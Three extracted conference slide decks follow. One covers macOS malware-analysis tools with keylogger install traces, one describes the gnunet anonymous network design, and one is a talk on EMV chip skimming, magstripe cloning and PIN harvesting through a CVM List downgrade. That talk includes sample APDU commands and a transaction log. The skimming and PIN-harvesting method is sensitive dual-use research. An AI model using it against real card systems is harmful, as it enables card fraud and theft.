fs_usage!
Very&Verbose&
NaAve&to&OS&X&
fs_usage –w –f <filter>!
Filters:&
• pathname&–&File&Path&Events&
• filesys&–&File&System&Events&
• exec&–&New&and&Spawned&Process&Events&
• diskio&–&Disk&Input/Output&Events&
• cachehit&–&Cache&Hits&
• network&–&Network&Events&
File&Analysis&–&Pathname&Events&
fs_usage –f pathname!
• Columns&
– Timestamp&
– Call&
– File&Descriptor&(F=##)&
– [ERRNO]&–&Error&Code&
– File&Path&
– Time&Interval&(W&=&Wait&
Time)&
– Process&Name&
&
• Calls&of&Interest&
– getattrlist&–&Get&file&
system&arributes&
– getxattr&–&Get&
extended&arribute&
– setattrlist&–&Set&file&
system&arribute&
– stat64,&lstat64&–&Get&
file&status&
– open&–&Open/Create&File&
– mkdir,&rmdir&–&Make/
Remove&a&directory&
File&Analysis&N&Pathname&Events&
fs_usage –w –f pathname&
!
08:05:21.631155 getattrlist /Applications/
Messages.app 0.000011 Dock.513976!
!
08:05:21.006391 open F=135 (R_____) /Users/
sledwards/Library/Application Support/
Google/Chrome/Default/Local Storage
0.000022 Google Chrome.7460!
!
File&Analysis&–&Disk&I/O&Events&
fs_usage –f diskio!
• Columns&
– Timestamp&
– Call&
– Disk&Block&(D=##)&
– Byte&Count&(B=##)&
– Disk&
– File&Path&
– Time&Interval&(W&=&Wait&
Time)&
– Process&Name&
• Calls&of&Interest&
– WrMeta&–&Write&
Metadata&
– WrData&–&Write&Data&
– RdData&–&Read&Data&
– PgIn&–&Page&In&
– PgOut&–&Page&Out&
File&Analysis&–&Disk&I/O&Events&
fs_usage –w –f diskio&
!
08:15:54.847585 WrMeta[AT3] D=0x01471e78
B=0x2000 /dev/disk1 /Users/sledwards/Library/
Mail/V2/[email protected]/[Gmail].mbox/
Trash.mbox/65AE84E4-7606-4E45-BC3F-E5E3398FDCE0/
Data/0/7/Messages 0.000262 W launchd.207!
!
08:15:55.005800 WrData[AT1] D=0x125f2870
B=0x1000 /dev/disk1 /Users/sledwards/Library/
Application Support/Google/Chrome/Default/Local
Storage/http_www.rdio.com_0.localstorage-journal
0.000169 W Google Chrome.7458!
!
File&Analysis&
fseventer&
fernlightning.com&
GUI&ApplicaAon&
Different&Views:&
• Graphical&“Tree”&View&
• Table&View&
Filtering&
Save&Output&to&Text&File&
File&Analysis&N&fseventer&
File&Analysis&N&fseventer&
File&Analysis&N&fseventer&
Process&Analysis&
Dtrace&
• execsnoop&
• newproc.d&
fs_usage&
procxp&
AcAvity&Monitor&
Process&Analysis&–&Snoop&New&Processes&
Dtrace&–&newproc.d&
• Timestamp&
• Process&ID&
• Parent&Process&ID&
• Architecture&=&32b/64b&&
• Command&&&Arguments&/&ApplicaAon&
Process&Analysis&N&New&Processes&
Dtrace&–&execsnoop&
•
TIME&–&RelaAve&Timestamp&
•
STRTIME&–Timestamp&(String)&
•
PROJ&–&Project&ID&
•
UID&–&User&ID&
•
PID&–&Process&ID&
•
PPID&–&Parent&Process&ID&
•
ARGS&–&Program/ApplicaAon&
Process&Analysis&–&New&Processes&
fs_usage –f exec!
• Columns&
– Timestamp&
– Call&
– Pathname&
– Time&Interval&(W&=&Wait&
Time)&
– Process&Name&
&
• Calls&of&Interest:&
– execve&–&New&Process&
– posix_spawn&–&
Spawned&Process&
Process&Analysis&N&New&Processes&
fs_usage –w –f exec&
!
20:53:48.539284 posix_spawn /Applications/0xED.app/
Contents/MacOS/0xED 0.000270 launchd.777421!
!
20:54:04.592903 execve /usr/bin/man 0.000175 bash.777569!
!
20:54:04.600445 posix_spawn /bin/sh 0.000165 man.777569!
!
20:54:04.603848 execve /usr/bin/tbl 0.000224 sh.777573!
!
20:54:04.604053 execve /usr/bin/groff 0.000173 sh.777574!
&
Process&Analysis&–&RealNAme&Processes&
procxp&
&
CLI&Process&Explorer&(for&Mac)&
Scroll/sort&processes&via&keys&
Click&Enter&for&more&info&on&process&
www.newosxbook.com/index.php?page=downloads&
&
Process&Analysis&
procxp&
&
Process&Analysis&–&RealNAme&Processes&
AcAvity&Monitor&
Network&Analysis&
CocoaPacketAnalyzer&
Wireshark&
Tcpdump&
AcAvity&Monitor&
lsock&
Network&Analysis&N&CocoaPacketAnalyzer&
www.tastycocoabytes.com/cpa/&
Network&Analysis&–&Wireshark&
www.wireshark.org/download.html&
Network&Analysis&
tcpdump&
Without&Content:&tcpdump -i en0 -n host #.#.#.#&
&
With&Content:&tcpdump -i en0 -n -X host #.#.#.#!
Network&Analysis&
AcAvity&Monitor&
Network&Analysis&–&lsock&
www.newosxbook.com/index.php?page=downloads&
Malware&Analysis&Examples&
LogKext&–&Open&Source&Keylogger&
• *.pkg&Installer&
Imuler&–&File/Screenshot&Stealer&
• *.app&disguised&as&a&photo&
Example&N&LogKext&
Example&N&LogKext&
newproc.d&
2014 Apr 1 17:46:48 1445 <444> 64b /bin/sh /tmp/
PKInstallSandbox.82TjPW/Scripts/
com.fsb.logkext.logkextExt.pkg.V8BqhR/postinstall /Users/
cliffstoll/Desktop/logKext-2.3.pkg /System/Library/
Extensions / /!
!
2014 Apr 1 17:46:49 1457 <1445> 64b /Library/Application
Support/logKext/logKextKeyGen!
!
2014 Apr 1 17:46:49 1458 <1445> 64b /bin/launchctl
load /Library/LaunchDaemons/logKext.plist!
!
2014 Apr 1 17:46:49 1460 <1445> 64b /usr/bin/open /
LogKext Readme.html!
Example&N&LogKext&
newproc.d&
2014 Apr 1 17:46:48 1455 <1445> 64b /sbin/kextunload -b
com.fsb.kext.logKext!
2014 Apr 1 17:46:49 1456 <1445> 64b /sbin/kextload /
System/Library/Extensions/logKext.kext!
!
2014 Apr 1 17:46:49 1459 <1> 64b /Library/Application
Support/logKext/logKextDaemon!
!
2014 Apr 1 17:47:00 1472 <897> 64b login -pf cliffstoll!
2014 Apr 1 17:47:00 1473 <1472> 64b -bash!
2014 Apr 1 17:47:11 1476 <1473> 64b sudo logKextClient!
2014 Apr 1 17:47:11 1477 <1476> 64b logKextClient!
Example&N&LogKext&
fs_usage&–f&pathname&
17:40:24.418176 getattrlist /Users/cliffstoll/Desktop/
logKext-2.3.pkg 0.000004 Finder.7100!
!
17:40:24.418285 getattrlist /System/Library/CoreServices/
Installer.app 0.000012 Finder.7100!
!
17:40:24.641275 open F=15 (RW_A_E) private/var/log/install.log
0.000028 syslogd.30889!
!
17:40:39.296222 statfs64 /Library/Application Support/logKext
0.000021 mds.30953!
!
17:40:39.296445 stat64 /System/Library/Extensions/logKext.kext
0.000010 mds.30953!
!
17:40:43.135053 getattrlist /LogKextUninstall.command 0.000014
mds.31061!
Example&N&LogKext&
fs_usage&–f&pathname&
17:40:58.946647 open F=3 (R_____) /usr/bin/logKextClient
0.000007 logKextKeyGen.31301!
!
17:40:59.028515 open [ 2] (R_____) /Library/Preferences/
com.fsb.logKext.plist 0.000003 cfprefsd.31142!
!
17:40:59.056241 statfs [ 2] /Library/Preferences/com.fsb.logKext
0.000018 logKextDaemon.31319!
!
17:40:59.190232 open F=11 (R_____) /LogKext Readme.html 0.000007
mds.31061!
!
17:41:06.808873 open F=25 (_WC_T_) /Users/cliffstoll/Library/
Caches/Metadata/Safari/History/file:%2F%2F%2FLogKext
%2520Readme.html.webhistory 0.000110 Safari.31520!
!
17:41:31.191547 stat64 /usr/bin/logKextClient
0.000007 sudo.31638!
Example&N&Imuler&
Example&N&Imuler&
fs_usage&–f&exec&
Example&N&Imuler&
fseventer&[1]&
Example&N&Imuler&
fseventer&[2]&
Example&–&Imuler&
tcpdump&
• Beacons&to&“ouchmen.com”&
Resources&&&References&
Blogs&
• “Reverse&Engineering&OS&X”&N&reverse.put.as&(@osxreverser)&
• “Reverse&Engineering&Resources”&N&hrp://samdmarshall.com/re.html&(@dirk_gently)&
• Hopper&App&Blog&N&hopperapp.tumblr.com&(@hopperapp)&
Resources&
• Apple&Developer&Website&
• man&Pages&
Malware&Samples&
• Contagio&N&contagiodump.blogspot.com&
• VXShare&N&virusshare.com&
• Open&Malware&N&www.offensivecompuAng.net&
• Malwr&N&malwr.com&
Contact&me&at:&@iamevltwin&or&[email protected]& | pdf |
1
gnunet
presentation for DC10
by
— not disclosed due to DMCA —
2
gnunet Requirements
• Anonymity
• Confidentiality
• Deniability
• Accountability
• Efficiency
3
Applications
• anonymous sharing of medical histories
• distributed backups of important data
• ad-hoc communication between small devices
• and others
4
Infrastructure
We call gnunet a network because:
• file-sharing is just one possible application
• most components can be re-used for other applications:
⋆ authentication
⋆ discovery
⋆ encrypted channels
⋆ accounting
• the protocol is extensible and extentions are planned
5
Related Work
Network
Gnutella[1, 4]
Chord[24]
Freenet[9]
MojoNation[17]
Search
bf-search
compute
df-search
broker
Anonymous
no
no
yes
no
Accounting
no
no
no
yes
File-Sharing
direct
migrated
insert
insert
Chord[24], Publius[15], Tangler[16], CAN[19] and Pastry[21, 7] are equivalent from the point of view of this discussion.
6
Outline of the Talk
1. Encoding data for gnunet
2. Searching in gnunet
3. Anonymity in gnunet
4. Accounting in gnunet
7
Encoding in gnunet
• Requirements
• Trees
• Blocks
• Limitations
• Benefits
8
Problems with existing Systems
• Content submitted in plaintext, or
• content must be inserted into the network and is then
stored twice, in plaintext by the originator and encrypted
by the network (e.g. Freenet[9]);
• in some systems, independent insertions of the same
file results in different copies in the network (e.g.
Publius[15])
9
Encoding data for gnunet: Requirements
• intermediaries can not find out content or queries
• hosts can send replies to queries and deny knowing what
the query or the content was for
• keep storage requirements (and bandwidth) small
10
Tree Encoding
Files in gnunet are split into 1k blocks for the
transport[6]:
IBlock: indirection node
containing hashes of
child node data
H(H(Keyword))
Filenames
RBlock: Contains file information,
description, and hashcode
root indirection node.
IBlock (Root): Like other indirection
blocks, this contains the
hashes of its child nodes.
DBlock
H(H(Root IBlock))
H(H(IBlock))
H(H(DBlock))
Encoding of the entire file
11
Block Encoding
The hash of 51 blocks and a CRC are combined to an
IBlock:
f1
f
f 50
...
2
H(f ), ..., H(f )
50
1
hashcodes, + 4−byte CRC
Space for 51 20−byte
(= 1024 bytes)
IBlock
...
1024 bytes
CRC
DBlocks
Encoding of the entire file
12
“Algorithm”
• split content into 1k blocks B (UDP packet size!)
• compute H(B) and H(H(B))
• encrypt B with H(B), with Blowfish
• store EH(B)(B) under H(H(B))
• build inner blocks containing H(B)
• root-node R contains description, file-size and a hash
13
Limitations
• If the keywords can be guessed...
participating hosts
can decrypt the query.
• If the exact data can be guessed... participating hosts
can match the content.
• This is intended to reduce storage costs!
14
Benefits
• encryption of blocks independent of each other
• inherent integrity checks
• multiple (independent) insertions result in identical
blocks
• very fast, minimal memory consumption
• little chance of fragmentation on the network
• small blocksize enables us to make traffic uniform and
thus traffic analysis hard
15
Searching in gnunet
• Requirements
• Boolean queries
• Searching: Triple-Hash
• Routing
• Anonymity preview
16
Problems with existing Systems
• Centralized, or
• easy to attack by malicious participants.
• Queries in plaintext, or
• hard to use keys.
• Not anonymous, or
• malicious participants can send back garbage without
begin detected.
17
Requirements
• retrieve content with simple, natural-language keyword
• guard against traffic analysis
• guard against malicious hosts
• do not expose actual query
• do not expose key to the content
• be unpredictable
• support arbitrary content locations
• be efficient
18
Ease of Use
gnunet must be easy to use:
• search for “mp3” AND “Metallica” AND “DMCA”
• gnunet returns list of files with description
• user selects interesting file
• gnunet returns the file
19
Encrypting the root-node R
For each file, the user specifies a list of keywords to
gnunet-insert. Then:
• For each keyword K:
• gnunet saves EH(K)(R) under H(H(K)).
If the user searchs for “foo” and “bar”:
• Search for “foo”, search for “bar”.
• Find which root-nodes that are returned are for the
same file (= top-level hash). Display those.
20
Searching: Intuition
• Key for block B is H(B).
• Filename for block B is H(H(B)).
• Intuition: ask for H(H(B)), return EH(B)(B).
• Problem: malicious host sends back garbage, interme-
diaries can not detect
21
Triple-Hash
• Send query: H(H(H(B))).
• Reply is {H(H(B)), EH(B)(B)}.
• Malicious host must at least have H(H(B)) and thus
probably the content.
• It is impossible to do better together with anonymity
and confidentiality of query and content for sender and
receiver.
22
Routing
• keep a table of hosts that we are connected with
• forward query to n randomly chosen hosts
• select n based on load and importance of the query
• keep track of queries forwarded, use time-to-live to
detect loops
• bias the random choice of the hosts slightly towards a
Chord-like metric.
• take metric into account when migrating content
23
gnunet: Traffic Analysis Nightmare
• Group several queries to one larger packet.
• Introduce delays when forwarding.
• Packets can contain a mixture of queries, content, node-
discovery, garbage, etc.
• Make all packets look uniform (in size).
• Encrypt all traffic. Add noise if idle.
24
Open issues
• Approximate queries.
25
Anonymity in gnunet
• Techniques to achieve anonymity
• Attacks
• Efficiency
• A new perspective
• gnunet is malicious
26
Building Blocks
• indirections[25]
• random delays[10]
• noise[11, 22]
• confidential communication[18]
A
B
C
27
Attacks on Anonymity
• traffic analysis[3]
• timing analysis
• malicious participants
• statistical analysis[20, 23]
28
Efficiency
If nodes indirect queries and replies, this has serious
efficiency implications:
For n indirections, the overhead in bandwidth (and
encryption time) is n-times the size of the content.
29
Money Laundering
Let’s illustrate gnunet’s perspective[5] with the example
of money laundering. If you wanted to hide your financial
traces, would you:
• Give the money to your neighbor,
• expect that your neighbor gives it to me,
• and then hope that I give it to the intended recipient?
Worse: trust everybody involved, not only that we do not
steal the money but also do not tell the FBI?
30
Banks!
In reality, banks are in the best position to launder
money:
• Take 1.000.000 transactions from customers,
• add your own little transaction,
• and better not keep any records.
As long as not all external entities cooperate against the
bank, nobody can prove which transaction was ours.
31
Why indirect?
• Indirections do not protect the sender or receiver.
• Indirections can help the indirector to hide its own
traffic.
• If the indirector cheats (e.g.
by keeping the sender
address when forwarding) it only exposes its own action
and does not change the anonymity of the original
participants.
32
Key Realization
Anonymity can be measured in terms of
• how much traffic from non-malicious hosts is indirected
compared to the self-generated traffic
• in a time-interval small enough such that timing analysis
can not disambiguate the sources.
33
gnunet: anonymity for free
From this realization, we can motivate gnunet’s
anonymity policy:
• indirect when idle,
• forward when busy,
• drop when very busy.
B
C
A
1
2
3
4
Rationale: if we are indirecting lots of traffic, we don’t
need more to hide ourselves and can be more efficient by
merely forwarding.
34
Accounting in gnunet
• Goals
• Requirements
• Human Relationships!
• Digital Cash?
• Transitivity
• Open issues
35
Common Problems
• No accounting: easy to mount DoS attack[12]
• Overpricing legitimate use[2]
• Centralization[8]
• Lack of acceptance for micropayments
• Patents
36
Goals
• Reward contributing nodes with better service.
• Detect attacks:
⋆ detect flooding,
⋆ detect abuse,
⋆ detect excessive free-loading, but
⋆ allow harmless amounts of free-loading
37
Requirements
• No central server (rules out [17, 8]).
• No trusted authority (problem of initial accumulation,
see [13]).
• Everybody else is malicious and violates the protocols.
• Everybody can make-up a new identity at any time.
• New nodes should be able to join the network.
38
Human Relationships
• We do not have to trust anybody to form an opinion.
• Opinions are formed on a one-on-one basis, and
• may not be perceived equally by both parties.
• We do not charge for every little favour.
• We are grateful for every favour.
• There is no guarantee in life, in particular Alice does
not have to be kind to Bob because he was kind to her.
39
Excess-based Economy
gnunet’s economy[14] is based on the following
principals:
• if you are idle, doing a favour for free does not cost
anything;
• if somebody does you a favour, remember it;
• if you are busy, work for whoever you like most, but
remember that you paid the favour back;
• have a neutral attitude towards new entities;
• never dislike anybody (they could create a new identity
anytime).
40
Transitivity
If a node acts on behalf on another, it must ensure that
the sum of the charges it may suffer from other nodes is
lower than the amount it charged the sender:
A
B
C
D
10
3
3
Transitivity in the gnunet economy.
41
Open Issues
• if a node is idle, it will not charge the sender;
• if a node delegates (indirects), it will use a lower priority
than the amount it charged itself;
• if an idle node delegates, it will always give priority 0.
• A receiver can not benefit from answering a query with
priority 0.
• If the priority is 0, content will not be marked as
valuable.
42
Conclusion
• gnunet is a cool system for privacy.
• gnunet can already be used.
• gnunet could get much better.
43
gnunet Online
http://www.ovmj.org/GNUnet/
44
gnunet resources
• FAQ
• Mailinglists
• Mantis
• README
• Sources
• WWW page
45
References
[1] E. Adar and B. Huberman. Free riding on gnutella. Technical
report, Xerox Parc, Aug. 2000.
[2] Adam Back. Hash cash - a denial of service counter-measure,
1997.
[3] Adam Back, Ulf Moeller, and Anton Stiglic.
Traffic analysis
attacks and trade-offs in anonymity providing systems.
[4] S. Bellovin. Security aspects of napster and gnutella, 2000.
[5] K. Bennett and C. Grothoff. gap - practical anonymous network-
ing. 2002.
46
[6] K. Bennett, C. Grothoff, T. Horozov, and I. Patrascu. Efficient
sharing of encrypted data. In Proceedings of ASCIP 2002, 2002.
[7] M. Castro, P. Druschel, Y. C. Hu, and A. Rowstron. Exploiting
network proximity in peer-to-peer overlay networks.
[8] D. Chaum, A. Fiat, and M. Naor. Untraceable electronic cash.
In Crypto ’88, pages 319–327, 1988.
[9] I. Clarke. A distributed decentralised information storage and
retrieval system, 1999.
[10] G. Danezis, R. Dingledine, D. Hopwood, and N. Mathewson.
Mixminion: Design of a type iii anonymous remailer, 2002.
[11] Wei Dei. Pipenet.
47
[12] Roger Dingledine, Michael J. Freedman, and David Molnar.
Accountability. 2001.
[13] Friedrich Engels. Umrisse zu einer Kritik der National¨okonomie.
1844.
[14] C. Grothoff. An excess based economy. 2002.
[15] Aviel D. Rubin Marc Waldman and Lorrie Faith Cranor. Publius:
A robust, tamper-evident, censorship-resistant, web publishing
system. In Proc. 9th USENIX Security Symposium, pages 59–72,
August 2000.
[16] David Mazieres Marc Waldman. Tangler: A censorhip-resistant
publishing system based on document entanglements. 2001.
48
[17] Mojo Nation. Technology overview, Feb. 2000.
[18] George Orwell. 1984. 1949.
[19] Sylvia Ratnasamy, Paul Francis, Mark Handley, Richard Karp,
and Scott Shenker.
A scalable content addressable network.
Technical Report TR-00-010, Berkeley, CA, 2000.
[20] Michael K. Reiter and Aviel D. Rubin. Crowds: anonymity for
Web transactions. ACM Transactions on Information and System
Security, 1(1):66–92, 1998.
[21] Antony Rowstron and Peter Druschel. Pastry: Scalable, decen-
tralized object location and routing for large-scale peer-to-peer
systems.
49
[22] R. Sherwood and B. Bhattacharjee. P5: A protocol for scalable
anonymous communication. In IEEE Symposium on Security and
Privacy, 2002.
[23] Clay Shields and Brian Neil Levine. A protocol for anonymous
communication over the internet. In ACM Conference on Com-
puter and Communications Security, pages 33–42, 2000.
[24] Ion Stoica, Robert Morris, David Karger, Frans Kaashoek, and
Hari Balakrishnan.
Chord:
A scalable Peer-To-Peer lookup
service for internet applications. pages 149–160.
[25] P F Syverson, D M Goldschlag, and M G Reed. Anonymous
connections and onion routing. In IEEE Symposium on Security
and Privacy, pages 44–54, Oakland, California, 4–7 1997. | pdf |
Chip & PIN is definitely broken
Credit Card skimming and PIN harvesting
in an EMV world
Andrea Barisani
<[email protected]>
Daniele Bianco
<[email protected]>
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
Adam Laurie
<[email protected]>
Zac Franken
<[email protected]>
What is EMV?
EMV stands for Europay, MasterCard and VISA, the global
standard for inter-operation of integrated circuit cards (IC cards
or "chip cards") and IC card capable point of sale (POS) terminals
and automated teller machines (ATMs), for authenticating credit
and debit card transactions.
IC card systems based on EMV are being phased in across the
world, under names such as "IC Credit" and "Chip and PIN".
Source: Wikipedia
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Why EMV?
ICC / smartcard
improved security over existing magnetic stripe technology
“offline” card verification and transaction approval
multiple applications on one card
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Liability shift
liability shifts away from the merchant to the bank in most
cases (though if merchant does not roll EMV then liability
explicitly shifts to it)
however the cardholders are assumed to be liable unless they
can unquestionably prove they were not present for the
transaction, did not authorize the transaction, and did not
inadvertently assist the transaction through PIN disclosure
PIN verification, with the help of EMV, increasingly becomes
“proof” of cardholder presence
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Liability shift
VISA Zero Liability fine print (US):
Does not apply to ATM transactions, PIN transactions not processed by Visa, or
certain commercial card transactions. Individual provisional credit amounts are
provided on a provisional basis and may be withheld, delayed, limited, or
rescinded by your issuer based on factors such as gross negligence or fraud,
delay in reporting unauthorized use, investigation and verification of claim and
account standing and history. You must notify your financial institution
immediately of any unauthorized use. Transaction at issue must be posted to
your account before provisional credit may be issued. For specific restrictions,
limitations and other details, please consult your issuer.
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Liability shift
Canadian Imperial Bank of Commerce (CIBC) spokesman Rob
McLeod said in relation to a $81,276 fraud case: “our records
show that this was a chip-and-PIN transaction. This means [the
customer] personal card and personal PIN number were used
in carrying out this transaction. As a result, [the customer] is
liable for the transaction.”
The Globe and Mail, 14 Jun 2011
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
EMV adoption
03/2006 EPC Card Fraud Prevention Task Force presentation:
“Ban of magstripe fallback foreseen (date to be decided)”
as of 10/2011 magstripe fallback is still accepted pretty much
everywhere
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
EMV is broken
S. J. Murdoch, S. Drimer, R. Anderson, M. Bond, “Chip and PIN
is Broken” - University of Cambridge
the excellent group of researchers from Cambridge proved
that stolen cards can be successfully used without knowing the
PIN
the industry claims difficult practicality of the attacks, at least
one bank rolled out detection/blocking procedures
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Skimming, Cloning and PIN harvesting
skimmer: hidden electronic device that intercepts card <>
terminal communication and collects available data
we analyze the practicality of credit card information
skimming, cloning and PIN harvesting on POS terminals
we intentionally ignore magstripe skimming (which is still
effective and widely used) and focus on the chip interface
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
ATM skimmers
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
EMV skimmers
we predict that skimming the chip will become an extremely
appealing target to fraudsters
the chip interface is inherently accessible
it becomes impossible for the user to verify if the terminal has
been tampered as the chip interface is not visible (unlike most
magstripe one for POS terminals)
an EMV skimmer could go undetected for a very long time
and requires little installation effort
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
EMV skimmer
trivial installation by “hooking” with a special card
powered by the POS itself
data can be downloaded with a special card recognized by the
skimmer
little development effort + cheap
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
EMV smartcards
information is stored on a filesystem organized in applications,
files and records
the terminal talks to the card via APDU messages for reading
records and issuing commands
Examples:
00A404000E315041592E5359532E4444463031 <- Select '1PAY.SYS.DDF01'
0020008008246666FFFFFFFFFF <- Verify PIN ('6666')
the EMV skimmer can intercept, read, man-in-the middle every
part of the terminal <> ICC exchange
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Terminal <> ICC exchange
1
|
initiate application processing
2
|
read application data
3
|
offline data authentication (if indicated in the AIP)
4
|
cardholder verification (if indicated in the AIP)
5
|
issuer script processing
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Read application data
stored with BER-TLV templates and read by the terminal, some
examples:
tag name
----|----------------------------------------
4f Application Identifier (VISA)
5f2d Language Preference (itenfrde)
9f1f Track 1 Discretionary Data
57 Track 2 Equivalent Data
5f25 Application Effective Date
5f24 Application Expiration Date
5a Application PAN (credit card number)
8e Cardholder Verification Method (CVM) List
5f20 Cardholder Name
9f36 Application Transaction Counter (ATC)
9f17 PIN Try Counter
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
EMV application data - magstripe clone
Copyright 2011 Inverse Path S.r.l.
The CVV (228) matches the magstripe one only for cards that do
not use iCVV (a different stored value to protect against this
attack, introduced in January 2008 but not present on all cards)
Chip & PIN is definitely broken v1.4
EMV application data - magstripe clone
while the service code on the magstripe might indicate that
the chip must be used, inserting a card without a readable
chip will trigger magstripe fallback on all tested terminals
EMV skimmers cannot clone successfully to magstripe if iCVV
is used
however it is fair to say that the possibility of massive
harvesting + being protected by a 3 digits code is not a
comforting scenario
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
EMV application data - online usage
application data can be used to perform Card Not Present
transactions (online, phone, ...) with parties that do not check
Card Security Code (CVV, CVV2, ...) and do not employ 3-D
secure (Verified by Visa, MasterCard SecureCode also known
as phishing heaven)
if you think that the amount of websites that do not check the
security code is negligible...think again
ironically one of the authors has been defrauded on such sites
while this presentation was being written...
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
optional security code
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
Amazon (.com/.co.uk/.it)
Chip & PIN is definitely broken v1.4
Offline data authentication
depending on the chip technology three methods are
available: Static Data Authentication (SDA), Dynamic Data
Authentication (DDA), Combined Data Authentication (CDA)
used by the terminal to validate the authenticity of the card
enables offline transactions where supported
never used by ATM (always online)
Visa and MasterCard mandate all cards issued after 2011 to
use DDA
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Static Data Authentication (SDA) cards
cheapest and most widely used technology
selected records (advertised by the card and customized by
the issuer) are signed with a static signature
symmetric key is used for online transactions
offline PIN verification is always cleartext
8f: Certificate Authority Public Key Index (PKI)
90: Issuer PK Certificate
9f32: Issuer PK Exponent
92: Issuer PK Remainder
93: Signed Static Application Data
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Dynamic Data Authentication (DDA) cards
chip is more expensive, rare usage as of 2011
static data validation (against hash within certificate)
dynamic data validation, terminal asks the card to sign data +
random number with ICC PK
ICC PK embeds PAN (limiting private key usage to this card)
offline PIN verification can be cleartext or enciphered
8f: Certificate Authority Public Key Index (PKI)
90: Issuer PK Certificate 9f46: ICC PK Certificate
9f32: Issuer PK Exponent 9f47: ICC PK Exponent
92: Issuer PK Remainder 9f48: ICC PK Remainder
9f49: Dynamic Data Authentication Data Object List (DDOL)
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Chip cloning
SDA cards can be cloned and used without PIN for offline
transactions only (“Yes” card)
DDA cards clone ineffective for offline and online transactions,
however a valid DDA card can be used to pass offline
authentication and perform fake offline transaction (not tied
to the authentication)
offline transactions are rare in EU
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Threats
data stealing: we discussed EMV skimming usage for
magstripe cloning and online usage
card stealing: Cambridge research shows that stolen cards can
be used without PIN, hopefully this attack will be fixed
does state of the art EMV usage really protect against PIN
harvesting and therefore the use of stolen cards?
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Cardholder verification
the card advertises to the terminal the cardholder verification
method preference via the CVM List (tag 8E)
Cardholder Verification Method (CVM) Condition Codes
-----------------------------------------------------------------------------------------------------------------------------
Bits Meaning
Value
8 7 6 5 4 3 2 1
0 RFU N/A
0 Fail cardholder verification if this CVM is unsuccessful N/A
1 Apply succeeding CV rule if this CVM is unsuccessful N/A
0 0 0 0 0 0 Fail CVM processing 00 or 40
0 0 0 0 0 1 Plaintext PIN verification performed by ICC 01 or 41
0 0 0 0 1 0 Enciphered PIN verified online 02 or 42
0 0 0 0 1 1 Plaintext PIN verification by ICC and signature (paper) 03 or 43
0 0 0 1 0 0 Enciphered PIN verification by ICC 04 or 44
0 0 0 1 0 1 Enciphered PIN verification by ICC and signature (paper) 05 or 45
0 0 0 1 0 1 Enciphered PIN verification by ICC and signature (paper) 05 or 45
0 x x x x x Values in range 000110 – 011101 reserved for future use 06-1D/16-5D
0 1 1 1 1 0 Signature (paper) 1E or 5E
0 1 1 1 1 1 No CVM required 1F or 5F
1 0 x x x x Values in range 100000 – 101111 reserved for future use 20-2F/60-6F
1 1 x x x x Values in range 110000 – 111110 reserved for future use 30-3E/70-7E
1 1 1 1 1 1 Not available 3F or 7F
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
CVM List
the CVM List is nowadays signed on all cards, therefore it is
believed to be tamper proof
if the preferred authentication method is Signature (paper),
Enciphered PIN verified online or Enciphered PIN
verification by ICC then the PIN is not sent by the terminal
to the card
it is believed that only when Plaintext PIN verification
performed by ICC is present and selected from the CVM List
the PIN can be harvested by the EMV skimmer
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Action Codes
assuming a scenario with DDA only cards and a “secure” CVM
List can we still harvest the PIN ?
Issuer Action Codes (card) and Terminal Action Codes
(terminal) specify policies for accepting or rejecting
transactions (using TVR specifications)
Issuer Action Codes and Terminal Action Codes are OR'ed
three kinds: Denial, Online, Default; the Online Action Codes
specify which failure conditions trigger online transactions
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Action Codes Example
9f0e Issuer Action Code - Denial (5 bytes): 00 00 00 00 00
9f0f Issuer Action Code - Online (5 bytes): f0 78 fc f8 00
9f0d Issuer Action Code – Default (5 bytes): f0 78 fc a0 00
translation: “do not deny a transaction without attempting to
go online, if offline SDA fails transmit the transaction online”
in all tested terminals / cards we were able to manipulate the
action codes (when necessary) so that tampering with the
CVM List would not result in offline rejection
Copyright 2011 Inverse Path S.r.l.
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
CVM List downgrade
the modified CVM List is honoured by the terminal which
means that Plaintext PIN verification performed by ICC can
be presented enabling PIN harvesting for SDA/DDA cards
Chip & PIN is definitely broken v1.4
Copyright 2011 Inverse Path S.r.l.
transaction log: card with online PIN verification
00a4040007a0000000031010 Select AID (VISA)
00c0000027 Get additional data
80a80000028300 Get processing options
00c0000010 Get additional data
00b2010c00 Read data files...
00b2010c40
00b2011400
00b20114c3
00b2021400
00b20214b2
00b2011c00
00b2011c52
00b2021c00
00b2021c45
80ae80001d... Generate AC (online transaction)
...
